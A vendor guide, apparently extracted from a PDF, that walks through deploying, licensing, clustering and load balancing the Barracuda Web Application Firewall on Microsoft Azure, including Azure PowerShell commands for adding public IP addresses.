f. Configure the ENDPOINTS to access the web interface of the Barracuda Web Application Firewall. By default, the Barracuda
Web Application Firewall web interface listens on port 8000 for HTTP and port 443 for HTTPS. Make sure these ports (8000 and
443) are configured as ENDPOINTS on the Barracuda Web Application Firewall. Specify values for the following fields to
configure the endpoints.
i. NAME: a name of your choice.
ii. PROTOCOL: TCP
iii. PUBLIC PORT: 8000
iv. PRIVATE PORT: 8000

iv.
g. Follow the same steps to open other ports.

h. Click Next (->) to continue.
i. Read the legal terms and product description in the next page, and click the check mark () to complete the deployment.
After clicking on (), Microsoft Azure begins provisioning the Barracuda Web Application Firewall. You can check the status of the provisioned
Barracuda Web Application Firewall from the Microsoft Azure Management Portal under VIRTUAL MACHINES. You will see Starting
(Provisioning) in the beginning on the Microsoft Azure Management Portal. Allow a few minutes before taking any further actions in the Portal.
During this time, the Microsoft Azure Linux Agent and Barracuda Web Application Firewall image boot up.
Next Step
Continue with the Barracuda Web Application Firewall Quick Start Guide - Microsoft Azure for licensing and initial configuration of your virtual
machine.

Barracuda Web Application Firewall Quick Start Guide - Microsoft Azure

Virtual machines (VMs) deployed through Azure Gallery prior to mid February, 2015 do not support Disk Expansion. If you
deployed prior to this time period and want to expand the disk, you must re-deploy the VM using the latest VM image available in
Azure Gallery:

Before you continue with licensing, ensure that you have completed the following configuration:
Licensing the Barracuda Web Application Firewall on Microsoft Azure
If you deployed the Barracuda Web Application Firewall with the Hourly/Metered option, you do not need to license the system; skip
ahead to Verify Configuration and Change the Password.
After provisioning the Barracuda Web Application Firewall on Microsoft Azure, the next step is licensing. After you deploy the Barracuda Web
Application Firewall image on the Microsoft Azure environment, do the following:
1. Sign into the Microsoft Azure Portal.

2. Note the DNS of the deployed Barracuda Web Application Firewall.
3. Open the browser and enter the noted DNS (from step 2) with port 8000 for HTTP. No port is required for
HTTPS. For example:
For HTTP : http://<DNS>:8000
For HTTPS : https://<DNS>
The Barracuda Web Application Firewall is not accessible via the HTTPS port when it is booting up. Therefore, use ONLY
HTTP port to access the unit when booting. This displays the status of the unit i.e., System Booting. Once the boot process is
complete, you will be redirected to the login page.
4. After the boot process is complete, the Licensing page displays with the following options:
a. I Already Have a License Token – Use this option to provision your Barracuda Web Application Firewall with the license token
you have already obtained from Barracuda Networks. Enter your Barracuda Networks Token and Default Domain to complete
licensing, and then click Provision.
The Barracuda Web Application Firewall connects to the Barracuda Update Server to get the required information based on your
license, and then reboots automatically. Allow a few minutes for the reboot process. Once the instance is provisioned, you are
redirected to the login page.
b. I Would Like to Purchase a License – Use this option to purchase the license token for the Barracuda Web Application
Firewall. Provide the required information in the form, accept the terms and conditions, and click Purchase.

b.
c. I Would Like to Request a Free Evaluation – Use this option to get 30 days free evaluation of the Barracuda Web Application
Firewall. Provide the required information in the form, accept the terms and conditions, and click Evaluate.
Verify Configuration and Change the Password
1. Log into the Barracuda Web Application Firewall web interface as the administrator using the URL as described in step 3 of Licensing of
Barracuda Web Application Firewall Vx after deploying on Microsoft Azure.
Username: admin Password: admin
2. Navigate to the BASIC > Administration page and enter your old password, new password, and re-enter the new password.
3. Click on Save Password.
4. Navigate to the BASIC > IP Configuration page and do the following:
a. Verify the WAN IP Configuration.
Do not make any changes in this section as this configuration is provided by Microsoft Azure and should not be
changed.
b. Configure the Primary and Secondary DNS Server in DNS Configuration.

c. Enter Default Host Name and Default Domain in the Domain Configuration. The Host Name is used in reporting, and is
displayed in alerts, notifications and messages sent by the Barracuda Web Application Firewall. The Default Domain is the
domain for the system and is appended to the Host Name.
By default, the Barracuda Web Application Firewall listens on port 443. If you want to create a service on port 443,
then go to the ADVANCED > Secure Administration page and change the Web Interface HTTP/SSL Port value to
something else. Example: 8443.
Update the Firmware
Navigate to the ADVANCED > Firmware Update page and check if there is a new Latest General Release available. If so, perform the following
steps to update the system firmware.
Make sure to read the release notes to learn about enhancements and new features before upgrading the firmware. It is also good
practice to verify settings, as new features may have been included with the firmware update.
1. Click on the Download Now button located next to the firmware version that you wish to install. When the download is complete, the Ap
ply Now button appears.
2. Click on the Apply Now button to apply the firmware. This will take a few minutes to complete. After the firmware has been applied, the
Barracuda Web Application Firewall will automatically reboot, displaying the login page when the system has come back up.
3. After applying the firmware, you will be required to log into the web interface of the Barracuda Web Application Firewall again.
It is recommended to use the Capture option to capture the Barracuda Web Application Firewall image, so that it can be used in case
of disaster recovery (or other reason). For more information on how to capture the image, see Creating the Barracuda Web Application
Firewall Image on Microsoft Azure.
Continue with the Next step - Configuring a Service.


Azure Gallery.
1. Log in to the Microsoft Azure Portal.

2. Click Browse, and then click Virtual Machines:
3. Click on the Instance where you want to increase storage:
4. At the top of the pane, click Settings:
5. Click Disks:
6. Click Attach New:

7. Enter the disk size as per your requirement.

8. Set Host Caching to None:
9. Click OK:
10. Once the task is complete, go to Settings of the selected Instance, and then click Restart:
During the reboot process, the Barracuda VM provisions the additional storage. This can take some time depending on the
region where your virtual machine is located and the amount of provisioned storage.



Azure Gallery.
1. Log in to the Microsoft Azure Management Portal.

2. Click Virtual Machines in the left pane, and then click on the Instance where you want to increase storage :
3. Select the Dashboard from the top panel.

4. Click Attach, and then click Attach empty disk:
5. Enter the disk size as per your requirement.
6. Set Host Cache Preference to None, and then click the Finish ( ) icon:
7. When the task is complete, go to Settings of the selected Instance, and then click RESTART.
During the reboot process, the Barracuda VM provisions the additional storage. This can take some time depending on the
region where your virtual machine is located and the amount of provisioned storage.


Creating the Barracuda Web Application Firewall Image on Microsoft Azure

Microsoft Azure provides the “Capture” option to capture the state of a running Barracuda Web Application Firewall. It captures the state of
system and creates a template which can be used to deploy similar instance(s) in case of disaster recovery (or any other reason). The created
template includes the OS disk and other data disks (if any) that are attached to the virtual machine.
It is recommended to perform the Capture operation on the Barracuda Web Application Firewall:
Before upgrading the firmware version.

Before making major configuration changes.
After configuring and saving a large set of changes. Example: Initial configuration
As a periodic backup mechanism.
The Capture operation should be performed in a planned maintenance window when the system is powered OFF. It is not
recommended to perform the capture operation when the system is running, as the image might not include data in memory.
Steps to take a capture

2. On the VIRTUAL MACHINES page, select the Barracuda Web Application Firewall that needs to be captured.
3. Click CAPTURE at the bottom of the screen, Capture the virtual machine dialog box appears.
4. In the Capture the virtual machine window:
a. IMAGE NAME - Enter a name for the new image.
b. IMAGE DESCRIPTION (LABEL) – Enter description for the image.
c. Click the check mark.
5. After the Barracuda Web Application Firewall image is captured, boot up your Barracuda Web Application Firewall.
Deploying the Barracuda Web Application Firewall Using the Capture
To deploy the Barracuda Web Application Firewall using the captured image, follow the steps below:

2. On the VIRTUAL MACHINES page, click NEW at the bottom of the screen.
3. In the NEW window, navigate to COMPUTE > VIRTUAL MACHINE > FROM GALLERY.
4. On the Choose an Image page:
a. Click MY IMAGES on the left pane.
b. Select the Barracuda Web Application Firewall image you captured and click the arrow mark (->) to continue.
c. Continue with the step 5 mentioned under Azure Management Portal in the Deploying and Provisioning the Barracuda Web
Application Firewall on Microsoft Azure article.
Ensure you deploy the Barracuda Web Application Firewall in the same Region/Affinity group/Virtual network, and Virtual network
subnets.

Adding an Additional Public IP Address on Microsoft Azure

This article will show you how to set up public access to multiple services of the same kind (e.g., HTTP, HTTPS) that are configured on the
Barracuda Web Application Firewall without altering the public port on the public IP/DNS for the service(s). To do so, you must associate an
additional public IP address to the Barracuda Web Application Firewall VM and map the public port with the internal IP address and port of the
service configured on the Barracuda Web Application Firewall.
Understanding the Problem
Let’s imagine you have two web servers: Server1 and Server2 with the internal IP address 2.2.2.11 and 2.2.2.12 respectively, which you want to
both protect by using the Barracuda Web Application Firewall (internal IP address: 1.1.1.1 and public IP address: 50.50.50.50) and have access
to through the public IP/DNS.
Under current Microsoft Azure limitations, you can have only one internal IP address per VM. Thus, your Barracuda Web Application Firewall VM
will also have only one internal IP address, which can be used to create the services. The servers you want to protect here are HTTP, so HTTP
services on the Barracuda Web Application Firewall will look as follows:
Service1 with the internal IP address 1.1.1.1 and Port 80 on the Barracuda Web Application Firewall, which is protecting Server1
(internal IP: 2.2.2.11)
Service2 with the internal IP address 1.1.1.1 and Port 82 on the Barracuda Web Application Firewall, which is protecting Server2
(internal IP: 2.2.2.12)
The web servers are currently accessible over the Internet via the Barracuda Web Application Firewall on the following URLs:
http://50.50.50.50 for Service1

http://50.50.50.50:82 for Service2
Service1 is on port 80, so it can be accessed without appending the port in the URL. However, Service2 is on port 82, so you must enter the port
number in the URL (i.e. http://50.50.50.50:82 ) to access the service over the Internet. To access the service without entering the port, you must
assign an additional public IP address (for example, 99.99.99.99 is the additional Public IP address) to your Barracuda Web Application Firewall
VM and map that to port 82 on the internal IP of Barracuda Web Application Firewall (i.e. 99.99.99.99, Port: 80 mapped to internal IP: 1.1.1.1 Port
: 82, which is Service2).
You can now directly access Service2 using the new public IP address without appending the port in the URL i.e. http://99.99.99.99.
You can add multiple public IP addresses only through Azure PowerShell.
Barracuda recommends using reserved IP addresses for public IP addresses. For more information, refer to Reserved IP
addresses for Cloud Services.
Any operation performed using the PowerShell can be reverted or deleted only through PowerShell. For more information,
refer to Multiple VIPs per cloud service.
Before You Begin
Verify you have the following before beginning:
Cloud service name to which you want to allocate additional public IP addresses.
VM name(s) deployed in the cloud service mentioned above.
Latest Azure PowerShell installed on your machine. Refer to How to Install and Configure Azure PowerShell.
Azure subscription.
How to Add an Additional Public IP Address to a Stand-alone Barracuda Web Application Firewall
The steps below will show you how to add an additional public IP address to a stand-alone Barracuda Web Application Firewall.
1.

1. Run the Azure PowerShell as Administrator

2. Connect to your subscription through Azure PowerShell using the Add-AzureAccount command. For more information on how to connect
to your subscription, refer to How to Install and Configure Azure PowerShell.
3. Add a random name for the public IP address that will be allocated to the Cloud Service. This is called the Virtual IP Name in Microsoft
Azure. Run the command below to do this:
Add-AzureVirtualIP -VirtualIPName <NAME_FOR_VIRTUAL_IP> -ServiceName <CLOUD_SERVICE_NAME>
Where:
Name Description
NAME_FOR_VIRTUAL_IP Enter a random name for the Virtual IP.
CLOUD_SERVICE_NAME Enter the cloud service name to which you want to add an
additional public IP address.
Example: In the example below, we are adding “Vip2” as Virtual IP Name for the cloud service “barracuda-waf”.
Add-AzureVirtualIP -VirtualIPName 'Vip2' -ServiceName 'barracuda-waf'
4. To ensure the Virtual IP Name is added successfully, execute the following two commands one after the other:
$deployment = Get-AzureDeployment -ServiceName <CLOUD_SERVICE_NAME> $deployment.VirtualIPs
Where:
Name Description
Example: In the example below, we are verifying that the Virtual IP Name “Vip2” is added to the cloud service “barracuda-waf”.
$deployment = Get-AzureDeployment -ServiceName 'barracuda-waf' $deployment.VirtualIPs
Output:
Address : 23.100.80.88
IsDnsProgrammed : True
Name : barracuda-waf
ReservedIPName :
ExtensionData :
Address :
IsDnsProgrammed :
Name : Vip2
ReservedIPName :
ExtensionData :
5. Associate the new public IP address to the cloud service and add the relevant endpoints using the command below:
Get-AzureVM -ServiceName <CLOUD_SERVICE_NAME> -Name <VM_NAME> `
| Add-AzureEndpoint -Name <NAME_FOR_ENDPOINT>-Protocol tcp -LocalPort <LOCAL_PORT> -PublicPort <PUBLIC_PORT >

-VirtualIPName <NAME_FOR_VIRTUAL_IP> `
| Update-AzureVM
Where:

Name Description
VM_NAME Enter the name of the VM associated to the cloud service.
NAME_FOR_ENDPOINT Enter a random name for the endpoint.
LOCAL_PORT Enter the port of the service configured on the Barracuda Web
Application Firewall that needs direct public access.
PUBLIC_PORT Enter the public NATed port for the service created on the
NAME_FOR_VIRTUAL_IP Enter a name for the Virtual IP created in step 3.
Example: In the example below, we are getting a new public IP address whose public TCP port/endpoint 80 is NATed to local port 82 to
the Barracuda Web Application Firewall VM “wafVM1” under Cloud Service “barracuda-waf”.
Get-AzureVM -ServiceName 'barracuda-waf' -Name 'wafVM1' `
| Add-AzureEndpoint -Name 'Endpoint1' -Protocol tcp -LocalPort 82 -PublicPort 80 -VirtualIPName 'Vip2' `
| Update-AzureVM
6. To ensure the public IP address is added successfully, execute the following command and note down the allocated public IP address:
Where:
Name Description
Example: In the example below, we are verifying that the Virtual IP Name “Vip2” is added to the cloud service “barracuda-waf”.
Output :
Address : 23.100.80.88
ReservedIPName :
ExtensionData :
Address : 104.43.131.78
IsDnsProgrammed :
Name : Vip2
ReservedIPName :
ExtensionData
After executing the above commands, the service on the Barracuda Web Application Firewall with port 82 will be mapped/NATed to the new
public IP address on port 80 and can be accessed at http://PublicIP2 (as per the example above, Service2 will be accessible on http://104.43.13
1.78).
How to Add an Additional Public IP Address to the Clustered Barracuda Web Application Firewalls and Load Balance the Traffic Between Them

The following steps will show you how to add an additional public IP address to clustered Barracuda Web Application Firewalls (i.e., wafVM1 and
wafVM2) and to load balance the traffic between them.
1. Run the Azure PowerShell as Administrator

2. Connect to your subscription through Azure PowerShell using the Add-AzureAccount command. For more information on how to connect
to your subscription, refer to How to Install and Configure Azure PowerShell.
3. Add a random name for the Public IP address that will be allocated to the Cloud Service. This is called the Virtual IP Name in Microsoft
Azure. Run the command below to do this:
Add-AzureVirtualIP -VirtualIPName <NAME_FOR_VIRTUAL_IP> -ServiceName <CLOUD_SERVICE_NAME>
Where:
Name Description
NAME_FOR_VIRTUAL_IP Enter a random name for the Virtual IP.
Example: Here we are adding “Vip2” as Virtual IP Name for the cloud service “barracuda-waf”.
Add-AzureVirtualIP -VirtualIPName 'Vip2' -ServiceName 'barracuda-waf'

4. To ensure the Virtual IP Name is added successfully, execute the following two commands one after the other:
Where:
Name Description
Example: Here we are verifying that the Virtual IP Name “Vip2” is added to the cloud service “barracuda-waf”.
Output:
Address : 23.100.80.88
ReservedIPName :
ExtensionData :
Address :
IsDnsProgrammed :
Name : Vip2
ReservedIPName :
ExtensionData :
5. Associate the new public IP address to the cloud service and add the load balancing endpoint to load balance the traffic between
Barracuda Web Application Firewalls (i.e. “wafVM1” and “wafVM2”). Execute the following two commands one after the other:
Get-AzureVM -ServiceName <CLOUD_SERVICE_NAME> -Name <VM1_NAME> `
| Add-AzureEndpoint -Name <ENDPOINT_NAME> -LoadBalancedEndpointSetName <LB_NAME> ` -Protocol tcp -LocalPort

<LOCAL_PORT> -PublicPort <PUBLIC_PORT> -VirtualIPName <NAME_FOR_VIRTUAL_IP> -DefaultProbe `
| Update-AzureVM

Get-AzureVM -ServiceName <CLOUD_SERVICE_NAME> -Name <VM2_NAME> `
| Add-AzureEndpoint -Name <ENDPOINT_NAME> -LoadBalancedEndpointSetName <LB_NAME> ` -Protocol tcp -LocalPort

<LOCAL_PORT> -PublicPort <PUBLIC_PORT> -VirtualIPName <NAME_FOR_VIRTUAL_IP> -DefaultProbe `
| Update-AzureVM
Where:
Name Description
VM1_NAME Enter the name of the VM1 associated to the cloud service.
VM2_NAME Enter the name of the VM2 associated to the cloud service.
ENDPOINT_NAME Enter a random name for the endpoint.
LB_NAME Enter a random name for load balancer endpoint set.
LOCAL_PORT Enter the port of the service configured on the Barracuda Web
Application Firewall that needs direct public access.
PUBLIC_PORT Enter the public NATed port for the service created on the
NAME_FOR_VIRTUAL_IP Enter a name for the Virtual IP created in step 3.
Example: Here we are getting a new public IP address whose public TCP port/endpoint 80 is:
NATed to local port 82 on the Barracuda Web Application Firewall VMs “wafVM1” and “wafVM2” under the cloud service
'barracuda-waf'
Load balancing the traffic between the Barracuda Web Application Firewall VMs “wafVM1” and “wafVM2”.
| Add-AzureEndpoint -Name 'Endpoint1' -LoadBalancedEndpointSetName 'LbSet' ` -Protocol tcp -LocalPort 82 -PublicPort 80

-VirtualIPName 'Vip2' -DefaultProbe `
| Update-AzureVM
| Add-AzureEndpoint -Name 'Endpoint1' -LoadBalancedEndpointSetName 'LbSet' ` -Protocol tcp -LocalPort 82 -PublicPort 80

-VirtualIPName 'Vip2' -DefaultProbe `
| Update-AzureVM
6. To ensure the public IP address is added successfully, execute the following command and note down the allocated public IP address:
Where:
Name Description
Example: Here we are verifying that the Virtual IP Name “Vip2” is added to the cloud service “barracuda-waf”.

Output:
Address : 23.100.80.88
ReservedIPName :
ExtensionData :
Address : 104.43.131.78
IsDnsProgrammed :
Name : Vip2
ReservedIPName :
ExtensionData :
After executing the commands above, the service on the Barracuda Web Application Firewall with port 82 will be mapped/NATed to the new
public IP address on port 80 and can be accessed at http://PublicIP2 where traffic is load balanced between the Barracuda Web Application
Firewall VMs, i.e., “wafVM1” and “wafVM2”. (As per the example above, Service2 will be accessible on http://104.43.131.78 where the traffic is
load between the Barracuda Web Application Firewalls.)

Load Balancing For Clustered Barracuda Web Application Firewall Instances on Microsoft Azure
This guide will walk you through the steps to load balance traffic across multiple instances of the Barracuda Web Application Firewall deployed in
Microsoft Azure.
In this Section:
Load Balancing For Clustered Barracuda Web Application Firewall Instances in the New Microsoft Azure Management Portal
Load Balancing For Clustered Barracuda Web Application Firewall Instances in the Old Microsoft Azure Management Portal

Load Balancing For Clustered Barracuda Web Application Firewall Instances in the New Microsoft Azure Management
Portal
the new Microsoft Azure Management Portal.
In Microsoft Azure, you can create Services using the WAN IP Address of the Barracuda Web Application Firewall.
In this Section:
Configuring a Load-Balanced Set Using the Azure Resource Manager Model

Configuring a Load-Balanced Set Using the Classic Model
Configuring a Load-Balanced Set Using the Azure Resource Manager Model
Follow the steps below to configure a load-balanced set using the Resource Manager model in the new Microsoft Azure Management Portal:
Step 1. Create a Resource Group

Step 2. Create a Load Balancer for the Resource Group
Step 3. Create an Availability Set for the Resource Group
Step 4. Deploy and Provision the Barracuda Web Application Firewall VM(s) Using the Resource Manager
Step 5. Configure the Barracuda Web Application Firewall VMs and Add them to the Cluster Setup
Step 6. Add the Clustered Barracuda Web Application Firewall Instances to the Load Balance Set
Step 1. Create a Resource Group

2. Click Resource groups on the left panel.
3. In the Resource groups page, click Add and specify values for the following:
a. Resource group name: Enter a name for the resource group.
b. Subscription: Select the subscription from the drop-down list.
c. Resource group location: Select the location for the resource group.
d. Click Create.

4. The created resource group gets displayed in the Resource groups list.
Step 2. Create a Load Balancer for the Resource Group
1. In the Microsoft Azure Management Portal, click Resource groups on the left panel.
2. In the Resource group list, locate and click on the resource group created in Step 1. Create a Resource Group.
3. Click Add in the Resource group page, and enter Load Balancer in the search field.
4. In the search results, select the Microsoft Load Balancer.

5. Click Create.
6. On the Create load balancer page, specify values for the following:
a. Name: Enter a name for the load balancer.
b. Scheme: Select Public.
c. Public IP address: Assign a new public IP address, or select a public IP address from the existing list.
d. Subscription: Select the subscription where you want to deploy the load balancer.
e. Resource group: Select the resource group created in Step 1. Create a Resource Group.
f. Location: Select a location for the load balancer. Note: Ensure that the location of the resource group and the load balancer is
same.
7. Click Create.

Step 3. Create an Availability Set for the Resource Group
2. In the Resource group list, locate and click on the resource group created in Step 1. Create a Resource Group from the existing Resour
ce group list.
3. Click Add in the Resource group page, and enter Availability Set in the search field.
4. In the search results, select the Microsoft Availability Set.
5. Click Create.

5.
6. In the Create availability set page, specify values for the following:
a. Name: Enter a name for the availability set.
b. Fault domains: Set the value to 1.
c. Update domains: Set the value to 1.
d. Subscription: Select the subscription where you want to deploy the availability set.
e. Resource group: Select the resource group created in Step 1. Create a Resource Group from the existing Resource group list.
f. Location: Select a location for the availability set. Note: Ensure that the location of the resource group and the availability set is
same.
7. Click Create.

Step 4. Deploy and Provision the Barracuda Web Application Firewall VM(s) Using the Resource Manager
To load balance the traffic between the Barracuda Web Application Firewall virtual machines (VMs), deploy and provision the Barracuda Web
Application Firewall instances in the resource group created in Step 1. Create a Resource Group (which includes load balancer and availability
set created in Step 2. Create a Load Balancer for the Resource Group and Step 3. Create an Availability Set for the Resource Group respectively
). Perform the following steps to deploy and provision the Barracuda Web Application Firewall VMs:
2. In the Resource group list, locate and click on the resource group created in Step 1. Create a Resource Group.
3. Click Add in the Resource group page, and enter Barracuda Web Application Firewall
4. in the search field.In the search results, select Barracuda Web Application Firewall (BYOL or Hourly as per your requirement).
5. Follow the steps mentioned in the Deploying and Provisioning the Barracuda Web Application Firewall Using Resource Manager in the

5.
New Microsoft Azure Portal article to deploy the Barracuda Web Application Firewall VM. When deploying the Barracuda Web
Application Firewall VM, ensure that you:
a. Select the resource group created in Step 1. Create a Resource Group from the existing resource group list.
b. Select the same location as that of the resource group created in Step 1. Create a Resource Group.
c. Select the availability set created in Step 3. Add an Availability Set to the Resource Group from the existing Availability set list.
6. Repeat step 5 to deploy multiple Barracuda Web Application Firewall VMs into the same load balance set.
If you have deployed the Barracuda Web Application Firewall VM(s) with the “Bring Your Own License (BYOL)” option, license the VM(s) by
following the steps mentioned under Licensing the Barracuda Web Application Firewall on Microsoft Azure in the Barracuda Web
Application Firewall Quick Start Guide – Microsoft Azure article.
If the Barracuda Web Application Firewall VM(s) is deployed with the “Hourly” option, the VM(s) is licensed automatically.
Step 5. Configure the Barracuda Web Application Firewall VMs and Add them to the Cluster Setup
1. Log into the Barracuda Web Application Firewall web interface using the public IP address of the VM with port 8000 (for HTTP), or using
only the public IP address (for HTTPS).
2. Verify the configuration on the BASIC > IP Configuration page, and change the system password on the BASIC > Administration pag
e. For more information, see the Verify Configuration and Change the Password section in the Barracuda Web Application Firewall
Quick Start Guide - Microsoft Azure.
3. Perform the cluster by following the steps mentioned under Step 2. Set Up a High Availability Environment with the Barracuda Web
Application Firewall in the Load Balancing For Clustered Barracuda Web Application Firewall Instances in Microsoft Azure article.
4. Repeat step 3 to add the remaining Barracuda Web Application Firewall VMs into the cluster setup.
Ensure the endpoints are opened on all the Barracuda Web Application Firewalls for the applications/services created.
Step 6 - Add the Clustered Barracuda Web Application Firewall Instances to the Load Balance Set
1. In the Microsoft Azure Management Portal, click Browse at the bottom of the screen on the left panel and select Load Balancers.
2. On the Load balancers page, select the load balancer created in Step 2. Add a Load Balancer to the Resource Group.
3. On the Settings page, select Probes.

4. On the Probes page, click Add and specify values for the following in the Add probe page:
a. Name: Enter a name for the probe.
b. Protocol: Select HTTP.
c. Port: Enter 8000.
d. Interval: Enter the interval time (in seconds) between probes sent by the Microsoft Azure to the Barracuda Web Application
Firewall virtual machine to determine the health status. Note: It is recommended to keep the default values.
e. Unhealthy threshold: Enter the number of probe failures that are allowed before marking the virtual machine as unhealthy. Not
e: It is recommended to keep the default values.
f. Click OK.
5. On the Settings page, click Backend pools.

6. On the Backend address pools page, click Add.
7. On the Add backend pool page:
a. Name: Enter a name for the backend pool.
b. Virtual machines: Click Add a virtual machine.
8. On the Choose virtual machines page:
a. Click Availability set and select the availability set created in Step 3. Create an Availability Set for the Resource Group.
b. Click Virtual machines, select the Barracuda Web Application Firewall VMs you added in Step 5. Configure the Barracuda Web
Application Firewall VMs and Add them to the Cluster Setup on the Choose virtual machines page, and click Select.

9. Click OK on the Choose virtual machines page, and on the Add backend pool page.
10. On the Settings page, click Load balancing rules.
11. On the Load balancing rules page, click Add and specify values for the following in the Add load balancing rule page:
a. Name: Enter a name for the load balancing rule.
b. Protocol: Select TCP.
c. Port: Enter the port on which you want to receive the traffic on the Load Balancer to load balance the traffic between the
Barracuda Web Application Firewalls.
d. Backend port: Enter the port on the Barracuda Web Application Firewall to which you want to distribute the traffic.
e. Backend pool: Select the backend pool created in step 7 in the Step 6. Add the Clustered Barracuda Web Application Firewall
Instances to the Load Balance Set section.
f. Probe: Select the probe created in step 4 in the Step 6. Add the Clustered Barracuda Web Application Firewall Instances to the
Load Balance Set section.
g. Session persistence: Select the persistence as per your requirement.
h. Idle timeout (minutes): Keep the default value.
i. Floating IP (direct server return): Select Disabled.
j. Click OK.
Now, any requests coming to the load balancer public IP address/DNS configured in step 6.c in the Step 2. Create a Load Balancer for the
Resource Group section will be distributed between the specified Barracuda Web Application Firewalls.
Configuring a Load-Balanced Set Using the Classic Model
Follow the steps below to configure a load-balanced set using the Classic model in the new Microsoft Azure Management Portal:
Step 1. Deploy the Barracuda Web Application Firewall Instances in Microsoft Azure
Step 2. Set Up a High Availability Environment With the Barracuda Web Application Firewall
Step 3. Set Up Load Balancing on the First Barracuda Web Application Firewall Instance
Step 4. Add Other Barracuda Web Application Firewall Instances to the Load-Balanced Set
Step 1. Deploy the Barracuda Web Application Firewall Instances in Microsoft Azure
1. Follow the steps in Deploying and Provisioning the Barracuda Web Application Firewall in the New Microsoft Azure Management Portal.
To license and configure your virtual machine, continue with Barracuda Web Application Firewall Quick Start Guide - Microsoft Azure. In
these instructions, the newly configured virtual machine is called Barracuda-WAF1.
2. Verify that Barracuda-WAF1 is accessible through port 8000 (for HTTP) and port 443 (for HTTPS).
3. Add new ports for HTTP and HTTPS to Barracuda-WAF1 in ENDPOINTS (for example, port 8001 for HTTP and port 8443 for HTTPS).
4. In the web interface of Barracuda-WAF1, do the following:
a. Enter the HTTP port number you configured in step 3 into Web Interface HTTP Port under Web Interface Settings on the BAS
IC > Administration page.
b. Enter the HTTPS port number you configured in step 3 into Web Interface HTTPS/SSL Port on the ADVANCED > Secure
Administration page.
5. Verify that you can access Barracuda-WAF1 using the HTTP and HTTPS ports specified in the step 4 (a) and (b).
6. In Microsoft Azure, delete port 8000 and port 443 from the listed ENDPOINTS for Barracuda-WAF1.
7. To deploy another Barracuda Web Application Firewall (called Barracuda-WAF2) in Microsoft Azure, follow the instructions in the Deployi
ng and Provisioning the Barracuda Web Application Firewall in the New Microsoft Azure Management Portal article.
When you configure the CLOUD SERVICE DNS NAME, choose the CLOUD SERVICE DNS NAME of Barracuda-WAF1 from

the CLOUD SERVICE list.
When the second Barracuda Web Application Firewall instance is added to the same CLOUD SERVICE to set up load
balancing between clustered Barracuda Web Application Firewalls, Microsoft Azure may add a random high port as ENDPOIN
TS for Public Port instead of adding 8000 and 443 ports. In this case, do the following:
– Access the second Barracuda Web Application Firewall web interface using the random high port, as the high port
ENDPOINTS added in Public Port are NATed with the configured Private Port’s ENDPOINTS.
OR
– Edit the high port and configure desired ports (i.e. port 8000 and 443) in the ENDPOINTS for the deployed VM before
accessing.
8. Continue with Barracuda Web Application Firewall Quick Start Guide - Microsoft Azure to license and configure your virtual machine.
9. By default, the Barracuda-WAF2 is configured with port 8000 (for HTTP) and port 443 (for HTTPS).
Now, Barracuda-WAF1 is accessible through port 8001 for HTTP and port 8443 for HTTPS, and Barracuda-WAF2 is accessible through port
8000 for HTTP and port 443 for HTTPS.
Step 2. Set Up a High Availability Environment With the Barracuda Web Application Firewall
Follow these steps to cluster your Barracuda Web Application Firewall virtual machines in Microsoft Azure:
The Barracuda Web Application Firewall virtual machines should all be deployed in the same CLOUD SERVICE for High Availability in
Microsoft Azure.
1. Install each system and ensure that each Barracuda Web Application Firewall is running the same firmware version. Each Barracuda
Web Application Firewall in a cluster must have the same model number and firmware version.
2. Make a backup of each Barracuda Web Application Firewall configuration.
3. No processes should be running on any virtual machine when you link them together. To be sure, go to the ADVANCED > Task
Manager page of each Barracuda Web Application Firewall and verify that no processes are running.
4. From the ADVANCED > High Availability page of Barracuda-WAF1, enter a Cluster Shared Secret password, and click Save.
5. From the ADVANCED > High Availability page of Barracuda-WAF2, do the following:
a. Enter the same Cluster Shared Secret password, and click Save. Both units in a cluster must have the same Cluster Shared
Secret to communicate with each other.
b. In the Clustered Systems section, enter the WAN IP address of Barracuda-WAF1, and click Join Cluster. Make sure that the
join cluster task is not cancelled when the join is in progress.
6. On each Barracuda Web Application Firewall, refresh the ADVANCED > High Availability page, and verify the following:
a. Each system's Hostname, serial number and WAN IP address appears in the Clustered Systems list.
b. The identity of the system (Self or Peer) displays in the Type field.
c. The Status is green for all virtual machines in the cluster.
7. View the Cluster Status from the BASIC > Dashboard page, under Performance Statistics.
To add more units to the existing cluster, repeat step 1 to 5.a. and then do the following:
From the ADVANCED > High Availability page of the Barracuda Web Application Firewall you are adding to the cluster, enter the WAN
IP address of any system in the cluster in the Peer IP Address field and click Join Cluster. Verify that the following occurs:
The configuration of the cluster automatically propagates to the newly added system.
The new unit information propagates to all other units in the cluster.

2. On the Microsoft Azure Home page, select Virtual machines (classic) on the left panel.
3. On the Virtual machines (classic) page, select Barracuda-WAF1.

4. In the Essentials section, click All Settings, and select Load balanced sets.

4.
5. On the Load balanced sets page, click Join and specify values for the following fields in the Join a load balanced set page:
a. Set the Load balanced set type to Public
b. Endpoint Name: Enter a name for the endpoint. Example: HTTP
c. Private Port: Enter the internal port that should listen to traffic on the endpoint. Example: 80.
d. Click Load balanced set Configure required settings, and select Create a load balanced set.
6. On the Create a load balanced set page, specify values for the following fields:
a. Name: Enter a name for the load-balanced set. Example: WAF-LB-80
b. Protocol: Select TCP from the list.
c. Public Port: Enter the port number of the service you are load balancing. Example: Port 80 for HTTP traffic.
d. Set Floating IP to Disabled.
e. Select the Protocol to be used for probing, enter values for Port, Interval (seconds) and Number of retries as required, and
click OK.
7. Now, click OK under Join a load balanced set. This will create the load balanced set and join it to Barracuda-WAF1.
8. Click OK to set up the load balanced set.
9. Repeat the process to add more ports to the load-balanced set.

After you create the load-balanced set for Barracuda-WAF1, add other Barracuda Web Application Firewall virtual machines to the set. Example:
Barracuda-WAF2

2. On the Microsoft Azure Home page, select Virtual machines (classic) on the left panel.
3.

3. On the Virtual machines (classic) page, select Barracuda-WAF2.

4. In the Essentials section, click All Settings, and select Load balanced sets.
5. On the Load balanced sets page, click Join and specify values for the following fields in the Join a load balanced set page:
a. Set the Load balanced set type to Public.
b. Click Load balanced set Configure required settings.
6. On the Choose a load balanced set page, select the load balanced set you created in step 6 under Step 3. Set Up Load Balancing on
the First Barracuda Web Application Firewall Instance.
7. On the Join a load balanced set page, you will see the load balanced set associated with the Barracuda-WAF2 instance.

8. Click OK to add the Barracuda-WAF2 instance to the load balanced set.
9. Repeat the process to add more Barracuda Web Application Firewall virtual machines to the load-balanced set.

Load Balancing For Clustered Barracuda Web Application Firewall Instances in the Old Microsoft Azure Management
Portal
the old Microsoft Azure Management Portal.
